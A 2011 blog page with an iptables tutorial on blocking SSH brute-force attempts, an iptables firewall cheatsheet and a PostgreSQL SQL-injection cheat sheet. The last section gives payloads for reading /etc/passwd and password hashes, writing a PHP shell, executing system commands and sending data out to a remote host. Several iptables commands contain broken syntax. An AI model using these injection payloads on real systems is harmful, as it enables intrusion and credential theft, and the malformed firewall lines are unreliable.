Sunday, August 21, 2011

Using iptables to Block Brute Force Attacks


We can use the iptables recent module to write some iptables rules that can block brute force attacks. In order to use this method you need a kernel and iptables installation that includes ipt_recent. If your linux distribution doesn’t include the ipt_recent module or you are using a custom compiled kernel you might need to first include the iptables recent patch that can be found on the author’s website or in the iptables patch-o-matic area. If you are using Debian/Ubuntu you don’t need to do anything special as this is already included in your system.
Let’s see how we can use the iptables recent module to block brute force attacks agains ssh. Let’s see a simple example:
iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --nameSSH -j DROP
This will basically allow only 3 NEW connections (as matched by the state NEW) in the timeframe of 300sec (5min). Any new connection will be automatically dropped.
The main disadvantage of using this method is that it will not make any distinction betweensuccessful and failed logins. If you are not careful and open too many connections yourself you might found yourself locked out. One walk-around for this issue is to whitelist our own administrative ips (still if we can do this for all the locations that need to connect to the system, then we can protect ourselves with simple firewall rules and we don’t need this added complexity). So at least for the hosts that we can (static ips) we should do this (replace with as many lines needed containing $WHITE_LIST_IP):
iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH-j DROP
Even if we lock ourselves out, our existing connections will remain up since we are matching only on NEW connections. If needed we can take appropriate actions.
In case we want to have the blocked hosts logged, then we will have to add another iptables rule:
iptables -N SSHSCAN
iptables -A INPUT -p tcp --dport 22 -s $WHITE_LIST_IP -j ACCEPT
iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j SSHSCAN
iptables -A SSHSCAN -m recent --set --name SSH
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH-j LOG --log-level info --log-prefix "SSH SCAN blocked: "
iptables -A SSHSCAN -m recent --update --seconds 300 --hitcount 3 --name SSH-j DROP
You can peek at the internal database kept by the module, by looking inside:/proc/net/ipt_recent/* (DEFAULT will contain default matches; in our example the name of the file is SSHSCAN):
cat /proc/net/ipt_recent/SSHSCAN
This solution is very effective and easy to implement. You just add the needed iptables rules to your existing firewall setup and you are set. Still, it has many limitations when compared with the other methods shown: like limited time frames, it will not differentiate against failed/successful logins, etc.

Common iptables command, cheatsheet


#!/bin/sh

#File: /etc/rc.d/rc.firewall

# Immediately log and drop any known abusive IPs

iptables -A INPUT -p tcp -s 87.118.104.44 -m limit –limit 1/minute  –limit-burst 10  -j LOG –log-prefix “[DROPPED_NODE]“   –log-level 4

iptables -A INPUT -p tcp -s 87.118.104.44 -j DROP

# Allow from any to any on 127.0.0.1/32

iptables -A INPUT -s 127.0.0.1/32 -j ACCEPT

iptables -A OUTPUT -s 127.0.0.1/32 -j ACCEPT

# Track connection state

iptables -A INPUT -p tcp -m state –state ESTABLISHED -j ACCEPT

iptables -A OUTPUT -p tcp -m state –state NEW,ESTABLISHED -j ACCEPT

# Allow all foreign IPs to access ports 443 and 80

iptables -A INPUT -p TCP –dport 443 -j ACCEPT

iptables -A INPUT -p TCP –dport 80 -j ACCEPT

# Allow access from a specified foreign IP

# to this server’s port 8080

iptables -A INPUT -p TCP -s 172.16.88.2/32 –dport 8080 -j ACCEPT

# Allow access from a specified foreign IP

# to any port listening on this server

iptables -A INPUT -p TCP -s 172.13.88.3/32  -j ACCEPT

# Drop incoming UDP packets on port 137 and 138 without logging

iptables -A INPUT -p UDP –dport 137 -j DROP

iptables -A INPUT -p UDP –dport 138 -j DROP

# Accept all other incoming UDP packets

iptables -A INPUT -p UDP -j ACCEPT

# Log and Drop everything else

iptables -A INPUT -j LOG  -m limit –limit 1/minute   –limit-burst 10 –log-prefix “[DROPPED_NODE]” –log-level 4

iptables -A INPUT -j DROP

# View all rules

iptables -L -v

# View INPUT rules

iptables -L INPUT -nv



# View max tracked connections

cat /proc/sys/net/ipv4/netfilter/ip_conntrack_max

# Set max tracked connections

# add the following line to rc.local if sysctl.conf doesn’t exist

echo 128000 >  /proc/sys/net/ipv4/netfilter/ip_conntrack_max

# View Current HASHSIZE

cat /proc/sys/net/ipv4/netfilter/ip_conntrack_buckets

PostgreSQL Cheat Sheet


Note:
#PostgreSQL and PHP supports Batched Queries.
#Awesome, huh?
Version:
SELECT VERSION()
Directories:
SELECT current_setting('data_directory')
SELECT current_setting('hba_file')
SELECT current_setting('config_file')
SELECT current_setting('ident_file')
SELECT current_setting('external_pid_file')
Users:
SELECT user;
SELECT current_user;
SELECT session_user;
SELECT getpgusername();
Current Database:
SELECT current_database();
Concatenation:
SELECT 1||2||3; #Returns 123
Get Collation:
SELECT pg_client_encoding(); #Returns your current encoding (collation).
Change Collation:
SELECT convert('foobar_utf8','UTF8','LATIN1'); #Converts foobar from utf8 to latin1.
SELECT convert_from('foobar_utf8','LATIN1'); #Converts foobar to latin1.
SELECT convert_to('foobar','UTF8'); #Converts foobar to utf8.
SELECT to_ascii('foobar','LATIN1'); #Converts foobar to latin1.
Wildcards in SELECT(s):
SELECT foo FROM bar WHERE id LIKE 'test%'; #Returns all COLUMN(s) starting with "test".
SELECT foo FROM bar WHERE id LIKE '%test'; #Returns all COLUMN(s) ending with "test".
Regular Expression in SELECT(s):
#Returns all columns matching the regular expression.
SELECT foo FROM bar WHERE id ~* '(moo|rawr).*';
SELECT foo FROM bar WHERE id SIMILAR '(moo|rawr).*';
SELECT Without Dublicates:
SELECT DISTINCT foo FROM bar
Counting Columns:
SELECT COUNT(*) FROM foo.bar; #Returns the amount of rows from the table "foo.bar".
Get Amount of PostgreSQL Users:
SELECT COUNT(*) FROM pg_catalog.pg_user
Get PostgreSQL Users:
SELECT usename FROM pg_user
Get PostgreSQL User Privileges on Different Columns:
SELECT table_schema,table_name,column_name,privilege_type FROM information_schema.column_privileges
Get PostgreSQL User Privileges:
SELECT usename,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_user
Get PostgreSQL User Credentials & Privileges:
SELECT usename,passwd,usesysid,usecreatedb,usesuper,usecatupd,valuntil,useconfig FROM pg_catalog.pg_shadow
Get PostgreSQL DBA Accounts:
SELECT * FROM pg_shadow WHERE usesuper IS TRUE
SELECT * FROM pg_user WHERE usesuper IS TRUE
Get Databases:
SELECT nspname FROM pg_namespace WHERE nspacl IS NOT NULL
SELECT datname FROM pg_database
SELECT schema_name FROM information_schema.schemata
SELECT DISTINCT schemaname FROM pg_tables
SELECT DISTINCT table_schema FROM information_schema.columns
SELECT DISTINCT table_schema FROM information_schema.tables
Get Databases & Tables:
SELECT schemaname,tablename FROM pg_tables
SELECT table_schema,table_name FROM information_schema.tables
SELECT DISTINCT table_schema,table_name FROM information_schema.columns
Get Databases, Tables & Columns:
SELECT table_schema,table_name,column_name FROM information_schema.columns
SELECT A Certain Row:
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 0; #Returns row 0.
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET 1; #Returns row 1.
...
SELECT column_name FROM information_schema.columns LIMIT 1 OFFSET N; #Returns row N.
Conversion (Casting):
SELECT CAST('1' AS INTEGER) #Converts the varchar "1" to integer.
Substring:
SELECT SUBSTR('foobar',1,3); #Returns foo.
SELECT SUBSTRING('foobar',1,3); #Returns foo.
Hexadecimal Evasion:
#Not as fancy as in MySQL, but it sure works!
SELECT decode('41424344','hex'); #Returns ABCD.
SELECT decode(to_hex(65), chr(104)||chr(101)||chr(120)); #Returns A.
ASCII to Number:
SELECT ASCII('A'); #Returns 65.
Number to ASCII:
SELECT CHR(65); #Returns A.
If Statement:
#Impossible in SELECT statements.
#However, here's a work-around with sub-select(s).
SELECT (SELECT 1 WHERE 1=1); #Returns 1.
SELECT (SELECT 1 WHERE 1=2); #Returns NULL.
Case Statement:
#May be used instead of the If-Statement.
SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END; #Returns 1.
Read File(s):
CREATE TABLE file(content text);
COPY file FROM '/etc/passwd';
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 0;
UNION ALL SELECT content FROM file LIMIT 1 OFFSET 1;
...
UNION ALL SELECT content FROM file LIMIT 1 OFFSET N;
DROP TABLE file;
Write File(s):
CREATE TABLE file(content text);
INSERT INTO file(content) VALUES ('');
COPY file(content) TO '/tmp/shell.php';
Logical Operator(s):
AND
OR
NOT
Comments:
SELECT foo, bar FROM foo.bar/* Multi line comment */
SELECT foo, bar FROM foo.bar-- Single line comment
A few evasions/methods to use between your PostgreSQL statements:
CR (%0D); #Carrier Return.
LF (%0A); #Line Feed.
Tab (%09); #The Tab-key.
Space (%20); #Most commonly used. You know what a space is.
Multiline Comment (/**/); #Well, as the name says.
Parenthesis, ( and ); #Can also be used as separators when used right.
Parenthesis instead of space:
#As said two lines above, the use of parenthesis can be used as a separator.
SELECT * FROM foo.bar WHERE id=(-1)UNION(SELECT(1),(2));
Auto-Casting to Right Collation:
SELECT CONVERT_TO('foobar',pg_client_encoding());
Benchmark:
#Takes about 7.5 seconds to perform this logical operation.
#Which can be compared to BENCHMARK(MD5(1),1500000) on MySQL.
SELECT (||/(9999!));
Sleep:
SELECT PG_SLEEP(5); #Sleeps the PostgreSQL database for 5 seconds.
Get PostgreSQL IP:
SELECT inet_server_addr()
Get PostgreSQL Port:
SELECT inet_server_port()
Command Execution:
CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('echo Hello.');
DNS Requests (OOB (Out-Of-Band)):
SELECT * FROM dblink('host=www.your.host.com user=DB_Username dbname=DB', 'SELECT YourQuery') RETURNS (result TEXT);